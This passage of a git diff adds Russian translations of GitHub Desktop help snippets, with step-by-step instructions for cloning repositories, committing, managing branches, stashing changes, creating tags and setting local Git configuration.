b/translations/ru-RU/data/reusables/desktop/choose-a-theme.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 7e205097061db2a80e3dbc59960207ff73815387 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147881117" +--- +3. Щелкните **Внешний вид**. +4. Щелкните тему, которую вы хотите использовать. При необходимости можно выбрать **Автоматическое переключение темы в соответствии с системой**, чтобы {% data variables.product.prodname_desktop %} всегда соответствовал теме на компьютере. diff --git a/translations/ru-RU/data/reusables/desktop/choose-clone-repository.md b/translations/ru-RU/data/reusables/desktop/choose-clone-repository.md new file mode 100644 index 000000000000..9edd0c8d7d01 --- /dev/null +++ b/translations/ru-RU/data/reusables/desktop/choose-clone-repository.md @@ -0,0 +1,21 @@ +--- +ms.openlocfilehash: 5f13e960a9201623b807d906a00092d657f393cf +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145138622" +--- +1. В меню **Файл** щелкните **Клонировать репозиторий**. + + {% mac %} + + ![Параметр меню «Клонировать» в приложении Mac](/assets/images/help/desktop/clone-file-menu-mac.png) + + {% endmac %} + + {% windows %} + + ![Параметр меню «Клонировать» в приложении Windows](/assets/images/help/desktop/clone-file-menu-windows.png) + + {% endwindows %} diff --git a/translations/ru-RU/data/reusables/desktop/choose-local-path.md b/translations/ru-RU/data/reusables/desktop/choose-local-path.md new file mode 100644 index 000000000000..7bc638a925d1 --- /dev/null +++ b/translations/ru-RU/data/reusables/desktop/choose-local-path.md @@ -0,0 +1,21 @@ +--- +ms.openlocfilehash: 4f441f97e65687805944e58452eb72a8d310801c +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147878889" +--- +1. Нажмите кнопку **Выбрать...** и перейдите к локальной папке, в которую нужно клонировать репозиторий. + + {% mac %} + + ![Кнопка «Выбрать».](/assets/images/help/desktop/clone-choose-button-mac.png) + + {% endmac %} + + {% windows %} + + ![Кнопка «Выбрать».](/assets/images/help/desktop/clone-choose-button-win.png) + + {% endwindows %} diff --git a/translations/ru-RU/data/reusables/desktop/choose-pr-from-list.md b/translations/ru-RU/data/reusables/desktop/choose-pr-from-list.md new file mode 100644 index 000000000000..5bc1ffeb6d67 --- /dev/null +++ b/translations/ru-RU/data/reusables/desktop/choose-pr-from-list.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: afa7167d20edd77937ee4c4108267cb90bd95f08 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145138614" +--- +1. В списке запросов на вытягивание щелкните запрос на вытягивание, который требуется просмотреть. diff --git a/translations/ru-RU/data/reusables/desktop/choose-product-authenticate.md b/translations/ru-RU/data/reusables/desktop/choose-product-authenticate.md new file mode 100644 index 000000000000..c58d4f07a883 --- /dev/null +++ b/translations/ru-RU/data/reusables/desktop/choose-product-authenticate.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 69750e698fa91bc74b88a3c57c0179820136c2c4 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145138585" +--- +1. Нажмите кнопку **Войти**, расположенную справа от элемента "Сервер {% data variables.product.prodname_enterprise %}". + ![Кнопка "Войти" для сервера GitHub Enterprise](/assets/images/help/desktop/sign-in-ghes.png) diff --git a/translations/ru-RU/data/reusables/desktop/click-base-branch-in-drop-down.md b/translations/ru-RU/data/reusables/desktop/click-base-branch-in-drop-down.md new file mode 100644 index 000000000000..b5a3548ffd70 --- /dev/null +++ b/translations/ru-RU/data/reusables/desktop/click-base-branch-in-drop-down.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 2fb6184a83021ccfac66fa5c89a822b74cd7d229 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145138569" +--- +1. В верхней части приложения щелкните {% octicon "git-branch" aria-label="The branch icon" %} **Текущая ветвь**, а затем выберите в списке ветвь, на основе которой вы хотите создать новую. diff --git a/translations/ru-RU/data/reusables/desktop/click-changed-files-header.md b/translations/ru-RU/data/reusables/desktop/click-changed-files-header.md new file mode 100644 index 000000000000..4a6f7452bf26 --- /dev/null +++ b/translations/ru-RU/data/reusables/desktop/click-changed-files-header.md @@ -0,0 +1,21 @@ +--- +ms.openlocfilehash: af362812d6f59fbf27b4f3bcf9d9b8ed1bb71521 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145138566" +--- +1. Щелкните правой кнопкой мыши заголовок **Измененные файлы**. + + {% mac %} + + ![Заголовок "Измененные файлы"](/assets/images/help/desktop/mac-changed-file-header.png) + + {% endmac %} + + {% windows %} + + ![Заголовок "Измененные файлы"](/assets/images/help/desktop/windows-changed-file-header.png) + + {% endwindows %} diff --git a/translations/ru-RU/data/reusables/desktop/click-clone.md b/translations/ru-RU/data/reusables/desktop/click-clone.md new file mode 100644 index 000000000000..eabe1ab0f04d --- /dev/null +++ b/translations/ru-RU/data/reusables/desktop/click-clone.md @@ -0,0 +1,22 @@ +--- +ms.openlocfilehash: 9d7e1a282d21518e5e0651fb1cdbc7670b4f5394 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145138561" +--- +1. Щелкните **Клонировать**. + + {% mac %} + + ![Кнопка "Клонировать"](/assets/images/help/desktop/clone-button-mac.png) + + {% endmac %} + + {% windows %} + + ![Кнопка "Клонировать"](/assets/images/help/desktop/clone-button-win.png) + + {% endwindows %} + diff --git a/translations/ru-RU/data/reusables/desktop/click-discard-files.md b/translations/ru-RU/data/reusables/desktop/click-discard-files.md new file mode 100644 index 000000000000..8c0d2248a02d --- /dev/null +++ b/translations/ru-RU/data/reusables/desktop/click-discard-files.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 3b190924c1dd634b4ee08a96318bf963bb958b8e +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145138558" +--- +1. Нажмите кнопку **Отменить изменения** или **Отменить выделенные изменения**, чтобы отменить изменения в одном или нескольких файлах, либо кнопку **Отменить все изменения** для отмены изменений во всех файлах с момента последней фиксации. diff --git a/translations/ru-RU/data/reusables/desktop/click-discard.md b/translations/ru-RU/data/reusables/desktop/click-discard.md new file mode 100644 index 000000000000..5d4f259efc5a --- /dev/null +++ b/translations/ru-RU/data/reusables/desktop/click-discard.md @@ -0,0 +1,21 @@ +--- +ms.openlocfilehash: 66420eab0d177ce1fedbf6d1462f064ddcc32ee4 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147880600" +--- +1. Щелкните **Отменить**. + + {% mac %} + + ![Кнопка "Отменить спрятанные изменения"](/assets/images/help/desktop/mac-discard-stashed-changes-button.png) + + {% endmac %} + + {% windows %} + + ![Кнопка "Отменить спрятанные изменения"](/assets/images/help/desktop/windows-discard-stashed-changes-button.png) + + {% endwindows %} diff --git a/translations/ru-RU/data/reusables/desktop/click-pull-requests.md b/translations/ru-RU/data/reusables/desktop/click-pull-requests.md new file mode 100644 index 000000000000..72abdc461bf5 --- /dev/null +++ b/translations/ru-RU/data/reusables/desktop/click-pull-requests.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: e08bdd1bc9269b69ca0051b0c17c9d6cf37f744f +ms.sourcegitcommit: 6edb015070d3f0fda4525c6c931f1324626345dc +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147886204" +--- +1. В верхней части раскрывающегося меню щелкните **Запросы на вытягивание**. diff --git a/translations/ru-RU/data/reusables/desktop/click-restore.md b/translations/ru-RU/data/reusables/desktop/click-restore.md new file mode 100644 index 000000000000..cd81cb662e05 --- /dev/null +++ b/translations/ru-RU/data/reusables/desktop/click-restore.md @@ -0,0 +1,21 @@ +--- +ms.openlocfilehash: 85fa8c79f5305fa90ea196ddaa2b3af69c70a625 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145138545" +--- +1. Щелкните **Восстановить**. + + {% mac %} + + ![Кнопка "Восстановить спрятанные изменения"](/assets/images/help/desktop/mac-restore-stashed-changes-button.png) + + {% endmac %} + + {% windows %} + + ![Кнопка "Восстановить спрятанные изменения"](/assets/images/help/desktop/windows-restore-stashed-changes-button.png) + + {% endwindows %} diff --git a/translations/ru-RU/data/reusables/desktop/click-save-git-config.md b/translations/ru-RU/data/reusables/desktop/click-save-git-config.md new file mode 100644 index 000000000000..54d0891d23ad --- /dev/null +++ b/translations/ru-RU/data/reusables/desktop/click-save-git-config.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 1d086698c2b65210481924f1cf3462e61504c0fa +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145138537" +--- +1. Выберите команду **Сохранить**. diff --git a/translations/ru-RU/data/reusables/desktop/click-stash-all-changes.md b/translations/ru-RU/data/reusables/desktop/click-stash-all-changes.md new file mode 100644 index 000000000000..6d6fe1ac380d --- /dev/null +++ b/translations/ru-RU/data/reusables/desktop/click-stash-all-changes.md @@ -0,0 +1,21 @@ +--- +ms.openlocfilehash: a7f4aced2431fc025d946afe450db23fa6898dec +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145138534" +--- +1. Щелкните **Спрятать все изменения**. + + {% mac %} + + ![Пункт меню "Спрятать все изменения"](/assets/images/help/desktop/mac-stash-all-changes.png) + + {% endmac %} + + {% windows %} + + ![Пункт меню "Спрятать все изменения"](/assets/images/help/desktop/windows-stash-all-changes.png) + + {% endwindows %} diff --git a/translations/ru-RU/data/reusables/desktop/click-stashed-changes.md b/translations/ru-RU/data/reusables/desktop/click-stashed-changes.md new file mode 100644 index 000000000000..67529bd903b4 --- /dev/null +++ b/translations/ru-RU/data/reusables/desktop/click-stashed-changes.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 7faae6fbc844ba7225942823f68a2a1ba4b0c500 +ms.sourcegitcommit: 770ed406ec075528ec9c9695aa4bfdc8c8b25fd3 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/12/2022 +ms.locfileid: "147887129" +--- +1. На левой боковой панели щелкните **Спрятанные изменения**. + ![Параметр "Спрятанные изменения"](/assets/images/help/desktop/stashed-changes.png) diff --git a/translations/ru-RU/data/reusables/desktop/cloning-location-tab.md b/translations/ru-RU/data/reusables/desktop/cloning-location-tab.md new file mode 100644 index 000000000000..548a17531efa --- /dev/null +++ b/translations/ru-RU/data/reusables/desktop/cloning-location-tab.md @@ -0,0 +1,21 @@ +--- +ms.openlocfilehash: 4d44f95c4a2d1c603545fb20cfcb197441588fb4 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145138489" +--- +1. Щелкните вкладку, соответствующую расположению репозитория, который требуется клонировать. Также можно щелкнуть **URL-адрес** и вручную ввести расположение репозитория. + + {% mac %} + + ![Вкладки "Расположение" в меню "Клонировать репозиторий"](/assets/images/help/desktop/choose-repository-location-mac.png) + + {% endmac %} + + {% windows %} + + ![Вкладки "Расположение" в меню "Клонировать репозиторий"](/assets/images/help/desktop/choose-repository-location-win.png) + + {% endwindows %} diff --git a/translations/ru-RU/data/reusables/desktop/cloning-repository-list.md b/translations/ru-RU/data/reusables/desktop/cloning-repository-list.md new file mode 100644 index 000000000000..580e26ee6c91 --- /dev/null +++ b/translations/ru-RU/data/reusables/desktop/cloning-repository-list.md @@ -0,0 +1,22 @@ +--- +ms.openlocfilehash: f329693cde513b779b2e8fa834161dbfdb022782 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145138486" +--- +1. Выберите в списке репозиторий, который нужно клонировать. + + + {% mac %} + + ![Клонирование списка репозиториев](/assets/images/help/desktop/clone-a-repository-list-mac.png) + + {% endmac %} + + {% windows %} + + ![Клонирование списка репозиториев](/assets/images/help/desktop/clone-a-repository-list-win.png) + + {% endwindows %} diff --git a/translations/ru-RU/data/reusables/desktop/commit-all-desc.md b/translations/ru-RU/data/reusables/desktop/commit-all-desc.md new file mode 100644 index 000000000000..aad789b00591 --- /dev/null +++ b/translations/ru-RU/data/reusables/desktop/commit-all-desc.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 8fd583e5ae317cb58bf56cb209bd992e09fbd5f6 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145138481" +--- +Чтобы добавить **все изменения во все файлы** в рамках одной фиксации, установите флажок в верхней части списка. diff --git a/translations/ru-RU/data/reusables/desktop/commit-button.md b/translations/ru-RU/data/reusables/desktop/commit-button.md new file mode 100644 index 000000000000..ea847672e5c8 --- /dev/null +++ b/translations/ru-RU/data/reusables/desktop/commit-button.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 5c37bea76bc772974953fd5c3d5b14330ab849a8 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145138473" +--- +1. В поле "Описание" щелкните **Зафиксировать в ВЕТВЬ** . diff --git a/translations/ru-RU/data/reusables/desktop/commit-message.md b/translations/ru-RU/data/reusables/desktop/commit-message.md new file mode 100644 index 000000000000..a2c8092c234d --- /dev/null +++ b/translations/ru-RU/data/reusables/desktop/commit-message.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 1dc25be08d2c2caf1868eebe53bcaa5666e216bb +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145138478" +--- +1. Введите короткое понятное сообщение о фиксации в нижней части списка изменений в поле "Сводка". При необходимости можно добавить дополнительные сведения об изменении в поле "Описание". diff --git a/translations/ru-RU/data/reusables/desktop/commit-some-desc.md b/translations/ru-RU/data/reusables/desktop/commit-some-desc.md new file mode 100644 index 000000000000..e0fc07f626bf --- /dev/null +++ b/translations/ru-RU/data/reusables/desktop/commit-some-desc.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 7be7fed4509b0a631407735dad35ae2c61a62b19 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145138470" +--- +Чтобы добавить **все изменения в одном или нескольких файлах** в одну фиксацию, оставьте в ней только нужные файлы и снимите флажки рядом с файлами, которые не потребуются. Чтобы установить или снять флажок, выделите файл и нажмите клавишу `Spacebar` или `Enter`. diff --git a/translations/ru-RU/data/reusables/desktop/confirm-discard-files.md b/translations/ru-RU/data/reusables/desktop/confirm-discard-files.md new file mode 100644 index 000000000000..d16abe929232 --- /dev/null +++ b/translations/ru-RU/data/reusables/desktop/confirm-discard-files.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 4ae229d2cd9226024578f45842e3fe41ec5f0094 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147883831" +--- +1. Чтобы подтвердить изменения, проверьте затронутые файлы и щелкните **Отменить изменения**. diff --git a/translations/ru-RU/data/reusables/desktop/confirm-merging-branch.md b/translations/ru-RU/data/reusables/desktop/confirm-merging-branch.md new file mode 100644 index 000000000000..29e284e9e951 --- /dev/null +++ b/translations/ru-RU/data/reusables/desktop/confirm-merging-branch.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: f3bcc4710f2aacf217aa9236fbd9b1ff641a6282 +ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/09/2022 +ms.locfileid: "147711657" +--- +1. Выберите ветвь, которую требуется объединить с текущей, а затем щелкните **Объединить ВЕТВЬ с ВЕТВЬ** . diff --git a/translations/ru-RU/data/reusables/desktop/confirm-new-branch-button.md b/translations/ru-RU/data/reusables/desktop/confirm-new-branch-button.md new file mode 100644 index 000000000000..6823e921bc1b --- /dev/null +++ b/translations/ru-RU/data/reusables/desktop/confirm-new-branch-button.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: ea69b4c8855481584b81aa3a7501579ee6a1a297 +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147885527" +--- +1. Щелкните **Создать ветвь**. diff --git a/translations/ru-RU/data/reusables/desktop/confirm-tag.md b/translations/ru-RU/data/reusables/desktop/confirm-tag.md new file mode 100644 index 000000000000..c86b552bbdda --- /dev/null +++ b/translations/ru-RU/data/reusables/desktop/confirm-tag.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: e0f5d5a24c07032585c29530fa9dd9d28ccec261 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145138414" +--- +1. Щелкните **Создать тег**. diff --git a/translations/ru-RU/data/reusables/desktop/copy-email-git-config.md b/translations/ru-RU/data/reusables/desktop/copy-email-git-config.md new file mode 100644 index 000000000000..84fa96640bfb --- /dev/null +++ b/translations/ru-RU/data/reusables/desktop/copy-email-git-config.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: b534093641efd6911a5266bcfe2bec48b0ef7dab +ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/09/2022 +ms.locfileid: "147711641" +--- +1. Скопируйте адрес электронной почты, который требуется использовать в локальной конфигурации Git. diff --git a/translations/ru-RU/data/reusables/desktop/create-new-branch.md b/translations/ru-RU/data/reusables/desktop/create-new-branch.md new file mode 100644 index 000000000000..6acc22f4ae1d --- /dev/null +++ b/translations/ru-RU/data/reusables/desktop/create-new-branch.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 420269fb59cbc75c74a62c8dd0646d22b4974c37 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145138406" +--- +1. Щелкните **Новая ветвь**. diff --git a/translations/ru-RU/data/reusables/desktop/create-tag.md b/translations/ru-RU/data/reusables/desktop/create-tag.md new file mode 100644 index 000000000000..acfeb3fe92ac --- /dev/null +++ b/translations/ru-RU/data/reusables/desktop/create-tag.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 4fd09b4b9204b8116d977bd345cc34aa5ea263aa +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147884918" +--- +1. Щелкните фиксацию правой кнопкой мыши и выберите команду **Создать тег**. ![Выбор пункта меню "Создать тег"](/assets/images/help/desktop/select-create-tag.png) diff --git a/translations/ru-RU/data/reusables/desktop/current-branch-menu.md b/translations/ru-RU/data/reusables/desktop/current-branch-menu.md new file mode 100644 index 000000000000..f154b904ea50 --- /dev/null +++ b/translations/ru-RU/data/reusables/desktop/current-branch-menu.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: b2b58ef3ad30d86252c6a50e99b1fcb6d019b555 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145138398" +--- +1. В {% data variables.product.prodname_desktop %}, щелкните {% octicon "git-branch" aria-label="The branch icon" %} **Текущая ветвь**. + ![Раскрывающееся меню "Текущая ветвь"](/assets/images/help/desktop/current-branch-menu.png) diff --git a/translations/ru-RU/data/reusables/desktop/delete-branch-mac.md b/translations/ru-RU/data/reusables/desktop/delete-branch-mac.md new file mode 100644 index 000000000000..0420794a5a21 --- /dev/null +++ b/translations/ru-RU/data/reusables/desktop/delete-branch-mac.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 516b4ae3a8b9bced06d4b0845af01b13276be2d5 +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147882558" +--- +1. В строке меню щелкните **Ветвь**, а затем нажмите кнопку **Удалить**. Можно также нажать клавиши SHIFT+COMMAND+D. diff --git a/translations/ru-RU/data/reusables/desktop/delete-branch-win.md b/translations/ru-RU/data/reusables/desktop/delete-branch-win.md new file mode 100644 index 000000000000..5a2e7a5435d0 --- /dev/null +++ b/translations/ru-RU/data/reusables/desktop/delete-branch-win.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: bdf97f9d5d4a8786174bb123e3dd4a3f22e2f890 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145138390" +--- +1. В строке меню щелкните **Ветвь**, а затем нажмите кнопку **Удалить**. Можно также нажать клавиши CTRL+SHIFT+D. diff --git a/translations/ru-RU/data/reusables/desktop/delete-tag.md b/translations/ru-RU/data/reusables/desktop/delete-tag.md new file mode 100644 index 000000000000..634aa2631b44 --- /dev/null +++ b/translations/ru-RU/data/reusables/desktop/delete-tag.md @@ -0,0 +1,14 @@ +--- +ms.openlocfilehash: 5739ca1f83c33ad0f2101b02d48a6b39395652c6 +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147878877" +--- +1. Щелкните фиксацию правой кнопкой мыши. + + - Если фиксация содержит только один тег, нажмите кнопку **Удалить тег ИМЯ ТЕГА**. + ![Выбор пункта меню "Удалить тег"](/assets/images/help/desktop/select-delete-tag.png) + - Если фиксация содержит несколько тегов, наведите указатель мыши на пункт **Удалить тег...** и выберите тег, который нужно удалить. + ![Наведение указателя мыши на пункт меню "Удалить тег"](/assets/images/help/desktop/delete-tag-multiple.png) diff --git a/translations/ru-RU/data/reusables/desktop/download-desktop-page.md b/translations/ru-RU/data/reusables/desktop/download-desktop-page.md new file mode 100644 index 000000000000..f5d20a68dd43 --- /dev/null +++ b/translations/ru-RU/data/reusables/desktop/download-desktop-page.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 8c0d97c9bdfb5b944c6011839052cf7b9d9c7864 +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147884593" +--- +1. Посетите [страницу для скачивания {% data variables.product.prodname_desktop %}](https://desktop.github.com/). diff --git a/translations/ru-RU/data/reusables/desktop/fork-type-prompt.md b/translations/ru-RU/data/reusables/desktop/fork-type-prompt.md new file mode 100644 index 000000000000..c418ef9f5cf2 --- /dev/null +++ b/translations/ru-RU/data/reusables/desktop/fork-type-prompt.md @@ -0,0 +1,50 @@ +--- +ms.openlocfilehash: 5d678119f473246fbfbc8e8beca5c3520b833ac3 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145138377" +--- +1. Если вы планируете использовать эту вилку для участия в исходном вышестоящем репозитории, щелкните **Участие в родительском проекте**. + + {% mac %} + + ![Пункт меню для участия в родительском проекте](/assets/images/help/desktop/mac-fork-options-prompt.png) + + {% endmac %} + + {% windows %} + + ![Пункт меню для участия в родительском проекте](/assets/images/help/desktop/windows-fork-options-prompt.png) + + {% endwindows %} + +2. Если вы будете использовать эту вилку для проекта, не связанного с вышестоящим, щелкните **В своих целях**. + + {% mac %} + + ![Пункт меню для участия в независимом проекте](/assets/images/help/desktop/mac-fork-own-purposes.png) + + {% endmac %} + + {% windows %} + + ![Пункт меню для участия в независимом проекте](/assets/images/help/desktop/windows-fork-own-purposes.png) + + {% endwindows %} + +3. Нажмите кнопку **Продолжить**. + + {% mac %} + + ![Кнопка "Продолжить"](/assets/images/help/desktop/mac-forking-continue.png) + + {% endmac %} + + {% windows %} + + ![Кнопка "Продолжить"](/assets/images/help/desktop/windows-forking-continue.png) + + {% endwindows %} + diff --git a/translations/ru-RU/data/reusables/desktop/get-an-account.md b/translations/ru-RU/data/reusables/desktop/get-an-account.md new file mode 100644 index 000000000000..545cc0f5b9a4 --- /dev/null +++ b/translations/ru-RU/data/reusables/desktop/get-an-account.md @@ -0,0 +1,4 @@ +you must already have an account on {% data variables.location.product_location %}. + +- For more information on creating an account on {% data variables.location.product_location %} account, see "[Signing up for a new {% data variables.product.prodname_dotcom %} account](/articles/signing-up-for-a-new-github-account/)". +- For a {% data variables.product.prodname_enterprise %} account, contact your {% data variables.product.prodname_enterprise %} site administrator. diff --git a/translations/ru-RU/data/reusables/desktop/history-tab.md b/translations/ru-RU/data/reusables/desktop/history-tab.md new file mode 100644 index 000000000000..4f41281547ec --- /dev/null +++ b/translations/ru-RU/data/reusables/desktop/history-tab.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 44e1547cd39855fffa033a08f1a3d2f2118e8385 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145138329" +--- +1. Щелкните **Журнал**. +![Вкладка "Журнал", выбранная на боковой панели](/assets/images/help/desktop/history-tab-in-commit-sidebar.png) diff --git a/translations/ru-RU/data/reusables/desktop/launch-desktop-from-command-line.md b/translations/ru-RU/data/reusables/desktop/launch-desktop-from-command-line.md new file mode 100644 index 000000000000..18fdab9082c7 --- /dev/null +++ b/translations/ru-RU/data/reusables/desktop/launch-desktop-from-command-line.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: e011d4401fe82ab88a9228c49fef9ae23b5d6d30 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145138326" +--- +Чтобы запустить {% data variables.product.prodname_desktop %} для последнего открытого репозитория, введите `github`. Чтобы запустить {% data variables.product.prodname_desktop %} для определенного репозитория, введите `github` и затем путь к репозиторию. diff --git a/translations/ru-RU/data/reusables/desktop/local-config-email.md b/translations/ru-RU/data/reusables/desktop/local-config-email.md new file mode 100644 index 000000000000..1545e5b486de --- /dev/null +++ b/translations/ru-RU/data/reusables/desktop/local-config-email.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: c1225d2e0591e339419ee2bf4ebd47195228514c +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "146061470" +--- +1. В разделе **Электронная почта** откройте раскрывающееся меню и выберите адрес электронной почты, который вы хотите использовать для локальной конфигурации Git. + ![Поле имени для локальной конфигурации Git](/assets/images/help/desktop/local-config-email.png) diff --git a/translations/ru-RU/data/reusables/desktop/local-config-name.md b/translations/ru-RU/data/reusables/desktop/local-config-name.md new file mode 100644 index 000000000000..817494b1802c --- /dev/null +++ b/translations/ru-RU/data/reusables/desktop/local-config-name.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 900f49389d7b0d40869f72d171135669afb17f17 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147881927" +--- +1. В поле **Имя** введите имя, которое будет использоваться для локальной конфигурации Git. + 